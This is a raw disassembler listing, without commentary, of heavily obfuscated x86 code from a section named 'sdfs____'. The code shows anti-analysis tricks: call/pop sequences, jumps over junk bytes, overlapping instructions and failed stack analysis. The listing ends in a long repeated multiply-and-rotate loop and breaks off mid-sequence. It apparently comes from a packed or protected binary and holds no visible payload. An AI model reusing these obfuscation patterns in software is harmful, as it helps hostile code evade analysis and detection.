; ---------------------------------------------------------------------------
		pop	ebx
		pop	edi
		pusha
		push	eax
		jmp	loc_614F5D
; ---------------------------------------------------------------------------
		db 3Fh,	83h, 89h
		dd 8B6269B0h, 0FADC1301h, 35B0E566h, 0CA5FDCE6h
		db 69h
; ---------------------------------------------------------------------------


loc_614F5D:				; CODE XREF: sdfs____:00614F44j
		pop	ebx
		call	sub_614F6A
		add	ecx, ebp
		and	ah, [eax-55h]
		js	short near ptr dword_614960+5BFh

; =============== S U B	R O U T	I N E =======================================



sub_614F6A	proc near		; CODE XREF: sdfs____:00614F5Ep
		clc
		pop	ecx
		popa
		call	sub_614F7B
		stosb
		popf
		mov	al, 9Dh
		into
		fcomp5	st(2)
		dec	edi
		push	es
sub_614F6A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_614F7B	proc near		; CODE XREF: sub_614F6A+3p
		clc
		pop	ebx
		pusha
		pusha
		cmc
		call	sub_614F8F
		fsub	qword ptr [edi-3DCE78D7h]
		sahf
		xchg	ebp, esp
sub_614F7B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_614F8F	proc near		; CODE XREF: sub_614F7B+5p
		pop	edi
		popa
		mov	si, 0BCFFh
		popa
		mov	si, 0C847h
		mov	si, 72D5h
		mov	edx, 74B2F418h
		stc
		mov	esi, 79FCC8F1h
		jnz	loc_614FB0
		cld


loc_614FB0:				; CODE XREF: sub_614F8F+1Aj
		adc	edx, 5662A45Fh
		pusha
		cld
		mov	dh, 0DFh
		popa
		push	ecx
		jmp	loc_614FC8
; ---------------------------------------------------------------------------
		mov	eax, ds:0B10F3BCAh
		mov	ebp, [esi]


loc_614FC8:				; CODE XREF: sub_614F8F+2Dj
		pop	ecx
		call	near ptr loc_614FDA+4
		or	eax, 827FC900h
		test	[edi], edi
		dec	ecx
		mov	bl, 86h
		lahf
		lodsd


loc_614FDA:				; CODE XREF: sub_614F8F+3Ap
		mov	edx, 56D57D95h
sub_614F8F	endp ; sp-analysis failed

		jmp	loc_614FEB
; ---------------------------------------------------------------------------
		mov	edx, 0C0D6F8C4h


loc_614FE9:				; CODE XREF: sdfs____:0061502Bj
		mov	dl, 3Dh


loc_614FEB:				; CODE XREF: sdfs____:00614FDFj
		pop	edx
		pop	edx
		mov	bx, ax
		push	ecx
		jmp	loc_615001
; ---------------------------------------------------------------------------
		dw 1B27h
		dd 0E03203F9h, 8436E96Ah
; ---------------------------------------------------------------------------
		pop	ebp


loc_615001:				; CODE XREF: sdfs____:00614FF1j
		pop	edx
		mov	esi, 23F63CE3h
		and	edi, 68B663EAh
		mov	di, bx
		mov	bh, dh
		push	esi
		sub	cx, 4DB0h
		pop	ecx
		stc
		jmp	loc_61502E
; ---------------------------------------------------------------------------
		cmp	bl, [esi-30h]
		pusha
		or	[ebp+22h], edx
		pop	eax
		xchg	eax, esi
		js	short loc_6150A0
		lodsd
		jmp	short loc_614FE9
; ---------------------------------------------------------------------------
		pop	ds


loc_61502E:				; CODE XREF: sdfs____:0061501Aj
		mov	esi, 3239FA41h
		jmp	loc_61503D
; ---------------------------------------------------------------------------
		dd 0ACA70A2Bh
		db 7Dh
; ---------------------------------------------------------------------------


loc_61503D:				; CODE XREF: sdfs____:00615033j
		jmp	loc_61504A
; ---------------------------------------------------------------------------
		dw 0C618h
		dd 0F0F798Eh
		db 45h,	0D1h
; ---------------------------------------------------------------------------


loc_61504A:				; CODE XREF: sdfs____:loc_61503Dj
		call	near ptr loc_615056+1
		mov	ds, word ptr ds:0D9EC8F7h[ebp]


loc_615056:				; CODE XREF: sdfs____:loc_61504Ap
		lds	ebx, [eax-4]
		jl	loc_61506B
		jmp	loc_61506B
; ---------------------------------------------------------------------------
		dd 452EC731h
		db 8Ah,	0C0h
		db 0E6h
; ---------------------------------------------------------------------------


loc_61506B:				; CODE XREF: sdfs____:00615059j
					; sdfs____:0061505Fj
		mov	cx, 0AFBh
		movsx	esi, bx
		jmp	loc_61508B
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0B3980475h, 1BD07FA7h, 6CEBBDE0h, 90C9FB1Eh
; ---------------------------------------------------------------------------
		sbb	bl, [eax+5Eh]


loc_61508B:				; CODE XREF: sdfs____:00615072j
		mov	cl, 0A9h
		mov	esi, ecx
		pusha
		pusha
		cld
		sub	dh, 20h
		popa
		jmp	loc_6150A8
; ---------------------------------------------------------------------------
		db 38h
		dd 0C6C929E1h
; ---------------------------------------------------------------------------


loc_6150A0:				; CODE XREF: sdfs____:00615028j
		in	eax, dx
		xchg	eax, ebx
		mov	esi, 0A5DAA152h
; ---------------------------------------------------------------------------
		db 0D4h
; ---------------------------------------------------------------------------


loc_6150A8:				; CODE XREF: sdfs____:00615096j
		popa
		adc	bl, 2Ah
		stc
		jz	loc_6150B5
		mov	edx, ecx


loc_6150B5:				; CODE XREF: sdfs____:006150ADj
		mov	esi, edx


loc_6150B7:				; CODE XREF: sdfs____:006150D4j
		and	ah, 69h
		jo	$+6
		jns	loc_6150D6
		jmp	loc_6150D6
; ---------------------------------------------------------------------------
		db 31h
		dd 7B367623h, 1DA9EA33h
; ---------------------------------------------------------------------------
		jl	short loc_6150B7


loc_6150D6:				; CODE XREF: sdfs____:006150C0j
					; sdfs____:006150C6j
		stc
		sbb	bx, 464Ah
		clc
		or	ch, 76h
		jmp	loc_6150EB
; ---------------------------------------------------------------------------
		db 67h,	0E5h, 0E7h
		db 96h,	5Dh, 2Ch
; ---------------------------------------------------------------------------


loc_6150EB:				; CODE XREF: sdfs____:006150E0j
		sub	ch, 0FCh
		jnz	loc_6150F7
		push	eax
		clc
		pop	ecx


loc_6150F7:				; CODE XREF: sdfs____:006150EEj
		jmp	loc_61510A
; ---------------------------------------------------------------------------
		dd 0B9E47D0Ah, 7A8B22Dh, 0B5F0F4D8h
		db 68h,	89h
; ---------------------------------------------------------------------------


loc_61510A:				; CODE XREF: sdfs____:loc_6150F7j
		mov	cx, ax
		mov	dx, 70F6h
		mov	ch, 28h
		push	edx
		pusha
		cld
		mov	dx, si
		popa
		pop	edx
		mov	edx, eax
		mov	ecx, 6C0B78D1h
		movzx	edx, ax
		sbb	esi, 1F9E51E3h
		jmp	loc_615135
; ---------------------------------------------------------------------------
		dd 0C924DF98h
		db 0Bh
; ---------------------------------------------------------------------------


loc_615135:				; CODE XREF: sdfs____:0061512Bj
		and	bx, 7924h
		mov	esi, 5DDA8CFh
		mov	di, 4A82h
		movzx	ebx, di
		jb	loc_61514F
		movzx	eax, bx


loc_61514F:				; CODE XREF: sdfs____:00615146j
		jnp	loc_615156
		cmc


loc_615156:				; CODE XREF: sdfs____:loc_61514Fj
		jle	loc_61515D
		stc


loc_61515D:				; CODE XREF: sdfs____:loc_615156j
		mov	edi, 119F1Fh
		mov	edi, 45DA54h
		mov	ebx, edx
		mov	eax, 57127E5Bh
		jno	$+6
		jge	loc_615192
		jmp	loc_615192
; ---------------------------------------------------------------------------
		mov	edx, 0F760A78h
		retn	695Ch
; ---------------------------------------------------------------------------
		push	ss
		dec	ecx
		push	esp
		std
		nop
		db	2Eh
		cmp	bh, al
		inc	ecx
		icebp


loc_615192:				; CODE XREF: sdfs____:00615174j
					; sdfs____:0061517Aj
		mov	al, 2Dh
		pusha
		mov	ebx, eax
		popa
		jmp	loc_6151A9
; ---------------------------------------------------------------------------
		rol	byte ptr [ebx],	1
		mov	ebx, 33E1A2D7h
		push	0C3A563E7h


loc_6151A9:				; CODE XREF: sdfs____:00615198j
					; sdfs____:0061520Dj
		sbb	bl, 6Ah
		jmp	loc_6151BE
; ---------------------------------------------------------------------------
		db 0A7h, 4Ah, 33h
		dd 6046A30Bh, 169F296Fh
		db 77h,	0BAh
; ---------------------------------------------------------------------------


loc_6151BE:				; CODE XREF: sdfs____:006151ACj
		mov	cx, 164h
		and	cx, 0D43Eh
		mov	ebx, 3D7EA327h
		mov	ax, cx
		jle	loc_6151D9
		push	edx
		push	ebx
		pop	edx
		pop	edx


loc_6151D9:				; CODE XREF: sdfs____:006151CFj
		mov	al, 0FDh
		pusha
		mov	ax, 7E59h
		jmp	loc_6151ED
; ---------------------------------------------------------------------------
		db 5Ah,	30h, 0EEh
		dd 149E1166h
		db 31h
; ---------------------------------------------------------------------------


loc_6151ED:				; CODE XREF: sdfs____:006151E0j
		popa
		pusha
		call	near ptr loc_6151F6+0Ah
		sal	dword ptr [eax], cl


loc_6151F6:				; CODE XREF: sdfs____:006151EFp
		adc	dword ptr [esp+ebp*2-44DC9BEFh], 8B1231B7h
		icebp
		pop	ecx
		popa
		mov	bl, ch
		call	near ptr loc_61520F+1
		fldenv	byte ptr [esi]
		jnb	short near ptr loc_6151A9+2


loc_61520F:				; CODE XREF: sdfs____:00615206p
		xor	esp, [eax+66h]
		mov	esi, ecx
		popa
		pop	ebx
		cmc
		movzx	ecx, cx
		clc
		pusha
		adc	si, 1240h
		clc
		popa
		mov	cx, 0C1DAh
		sbb	ebx, 6154B33Fh
		or	cl, 5Dh
		movsx	eax, ax
		call	near ptr loc_615246+4
		xchg	eax, ecx
		adc	eax, 82DBF451h


loc_61523E:				; CODE XREF: sdfs____:00615261j
		dec	ecx
		sbb	ah, cl
		jnb	short loc_615285
		mov	ah, [edi-7Ch]


loc_615246:				; CODE XREF: sdfs____:00615233p
		mov	esp, 0FF6F5E6h
		mov	edi, 8B665FC2h
		shl	byte ptr [eax-75h], 1
		enter	0FFFF8166h, 0DEh
		in	al, dx
		bound	esp, [ecx+66h]
		mov	edx, 0BA504C34h
		pop	ss
		jnp	short loc_61523E
		db	67h
		pop	edi
		mov	bx, dx
		jg	loc_615273
		mov	ebx, 4C7EA6F2h


loc_615273:				; CODE XREF: sdfs____:00615268j
		mov	eax, 6D48FE65h
		mov	si, cx
		jnz	loc_615284
		mov	ax, cx


loc_615284:				; CODE XREF: sdfs____:0061527Bj
		cmc


loc_615285:				; CODE XREF: sdfs____:00615241j
		mov	bl, 77h
		movsx	edi, ax
		jmp	loc_615297
; ---------------------------------------------------------------------------
		db 0EDh
		dd 0E8D0168Eh
		db 0ADh, 9Dh, 0A9h
; ---------------------------------------------------------------------------


loc_615297:				; CODE XREF: sdfs____:0061528Aj
					; sdfs____:006152A7j
		push	eax
		mov	bx, 69A3h
		pop	eax
		call	near ptr loc_6152AF+2
		xor	eax, 825E818h
		jb	short loc_615297
		adc	[esi-79h], al
		add	al, 0A2h
		inc	eax


loc_6152AF:				; CODE XREF: sdfs____:0061529Dp
		mov	esp, 5FDF8B82h
		mov	si, ax
		push	eax
		jo	loc_6152C1
		mov	cx, di


loc_6152C1:				; CODE XREF: sdfs____:006152B8j
		pop	ebx
		mov	bh, 22h
		sub	edx, 2D9C7BAEh
		sbb	di, 0A755h
		mov	di, 296Fh
		pusha
		jmp	loc_6152E9
; ---------------------------------------------------------------------------
		db 2Dh,	4Ch, 24h
		dd 0B112C6E4h, 0E6E27DD0h, 0E664CE43h
		db 0EDh
; ---------------------------------------------------------------------------


loc_6152E9:				; CODE XREF: sdfs____:006152D4j
		call	sub_6152FC
		and	edi, [esi-75h]
		fld	qword ptr [eax+61h]
		pop	ss
		inc	edx
		inc	esi
		mov	eax, ds:8153ED86h

; =============== S U B	R O U T	I N E =======================================



sub_6152FC	proc near		; CODE XREF: sdfs____:loc_6152E9p
		movsx	eax, ax
		pop	esi
		popa
		jz	loc_61530D
		and	edi, 6B84FA35h


loc_61530D:				; CODE XREF: sub_6152FC+5j
		mov	ax, 0C5A0h
		mov	esi, edx
		mov	ebx, esi
		sub	ebx, 6062BB8Fh
		mov	ax, 1003h
		mov	edx, esi
		mov	esi, eax
		pusha
		pusha
		sub	edx, 5B0109DCh
		and	edi, 113C3E3h
		popa
		popa
		add	edi, 460BFF5Ch
		mov	dh, 0D2h
		sub	ebx, 0A9D5C1Dh
		pusha
		add	bx, 989Bh
		popa
		push	ebx
		pop	ecx
		mov	al, cl
		jnb	loc_615356
		mov	dx, 2315h


loc_615356:				; CODE XREF: sub_6152FC+50j
		jo	loc_615368
		jbe	loc_615368
		jbe	$+6


loc_615368:				; CODE XREF: sub_6152FC:loc_615356j
					; sub_6152FC+60j
		movzx	ecx, dx
		jmp	loc_615383
; ---------------------------------------------------------------------------
		dd 8ED512A2h, 1676430Eh, 9C2F5C88h, 0E1045C2Fh
		db 3Dh,	90h, 0EEh
; ---------------------------------------------------------------------------


loc_615383:				; CODE XREF: sub_6152FC+6Fj
		pusha
		push	ebx
		stc
		pop	ecx
		popa
		push	ebx
		pop	eax
		call	loc_615394
		mov	esp, 0AE10C602h
sub_6152FC	endp ; sp-analysis failed



loc_615394:				; CODE XREF: sub_6152FC+8Ep
		mov	bx, di
		pop	edi
		jge	loc_6153C6
		call	sub_6153AE
; ---------------------------------------------------------------------------
		db 62h
; ---------------------------------------------------------------------------
		retn	0B731h
; ---------------------------------------------------------------------------
		db 0D7h
		dd 1B8A4EBEh
; ---------------------------------------------------------------------------
		xor	cl, al

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_6153AE	proc near		; CODE XREF: sdfs____:0061539Ep
		jmp	sub_6153C5
sub_6153AE	endp

; ---------------------------------------------------------------------------
		db 16h
		dd 3F3B1A05h, 8AF35E6Fh, 852E070Eh, 3FC9C013h
		db 6Dh

; =============== S U B	R O U T	I N E =======================================



sub_6153C5	proc near		; CODE XREF: sub_6153AEj

; FUNCTION CHUNK AT 006154B1 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 006154DA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 006154F0 SIZE 00000CA5 BYTES

		pop	edi


loc_6153C6:				; CODE XREF: sdfs____:00615398j
		movzx	eax, si
		mov	dl, 3Dh
		ja	loc_6153D3
		mov	dh, 8Dh


loc_6153D3:				; CODE XREF: sub_6153C5+6j
		sub	di, 1ABh
		jmp	loc_6153F1
; ---------------------------------------------------------------------------
		db 0A6h, 4Fh, 8Ah
		dd 0DA6F7B42h, 4C785CE3h, 0EC69881h, 0D286FC0Bh
; ---------------------------------------------------------------------------
		pop	es


loc_6153F1:				; CODE XREF: sub_6153C5+13j
		movzx	edi, cx
		mov	cx, bx
		jge	loc_615406
		jl	loc_615406
		movsx	esi, di


loc_615406:				; CODE XREF: sub_6153C5+32j
					; sub_6153C5+38j
		movsx	edx, ax
		mov	dx, bx
		jge	loc_615423
		jmp	loc_615423
; ---------------------------------------------------------------------------
		db 7Dh
		dd 0F314708Fh, 0C58010D8h
		db 1Eh,	0D2h, 8Fh
; ---------------------------------------------------------------------------


loc_615423:				; CODE XREF: sub_6153C5+47j
					; sub_6153C5+4Dj
		add	ax, 0B6A9h
		jz	loc_615434
		sbb	esi, 7A23B8D9h


loc_615434:				; CODE XREF: sub_6153C5+63j
		jmp	loc_615443
; ---------------------------------------------------------------------------
		db 0F5h, 63h, 0F3h
		dd 514B3A79h
		db 0D2h, 0B8h, 0CDh
; ---------------------------------------------------------------------------


loc_615443:				; CODE XREF: sub_6153C5:loc_615434j
		mov	esi, edx
		mov	eax, 4E9C6A31h
		adc	di, 245Bh
		mov	ax, 0E988h
		adc	dh, 0A1h
		mov	si, ax
		add	ax, 0E25Bh
		mov	cl, 92h
		mov	cx, ax
		call	sub_615470
		and	eax, 0EB129031h
		jmp	short loc_6154B1
sub_6153C5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0D2h

; =============== S U B	R O U T	I N E =======================================



sub_615470	proc near		; CODE XREF: sub_6153C5+9Ep
		cmc
		pop	ebx
		push	esi
		mov	bh, 0BBh
		pop	ebx
		mov	bh, 0E3h
		mov	eax, 7D657794h
		jns	loc_61548A
		push	esi
		and	bx, 628Fh
		pop	esi


loc_61548A:				; CODE XREF: sub_615470+Dj
		adc	ah, 58h
		mov	ax, 0E192h
		jmp	loc_6154A1
; ---------------------------------------------------------------------------
		dw 0B112h
		dd 0E6E27DD0h, 0E664CE43h
		db 0EDh
; ---------------------------------------------------------------------------


loc_6154A1:				; CODE XREF: sub_615470+21j
		mov	di, 0E09Eh
		push	eax
		jmp	loc_6154B6
sub_615470	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh
		dd 8D8CABC4h
		db 0Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_6153C5


loc_6154B1:				; CODE XREF: sub_6153C5+A8j
		sbb	eax, 8B266121h


loc_6154B6:				; CODE XREF: sub_615470+36j
		pop	edx
		mov	eax, 29A63093h
		add	dl, 53h
		add	ax, 953Dh
		or	ebx, 7EE1317Ah
		pusha
		mov	edi, ebx
		popa
		jmp	loc_6154DA
; END OF FUNCTION CHUNK	FOR sub_6153C5
; ---------------------------------------------------------------------------
		db 3Bh
		dd 0E3981457h
; ---------------------------------------------------------------------------
		sbb	ch, [ecx]
; START	OF FUNCTION CHUNK FOR sub_6153C5


loc_6154DA:				; CODE XREF: sub_6153C5+109j
		jmp	loc_6154F0
; END OF FUNCTION CHUNK	FOR sub_6153C5
; ---------------------------------------------------------------------------
		db 4Ch
		dd 82D57EE5h, 0BD04B873h, 0FCCB6827h, 0F848FAC6h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_6153C5


loc_6154F0:				; CODE XREF: sub_6153C5:loc_6154DAj
		mov	di, 1696h
		pusha
		mov	al, 0DBh
		pusha
		mov	ebx, 1550F66Ah
		popa
		popa
		ror	dh, cl
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
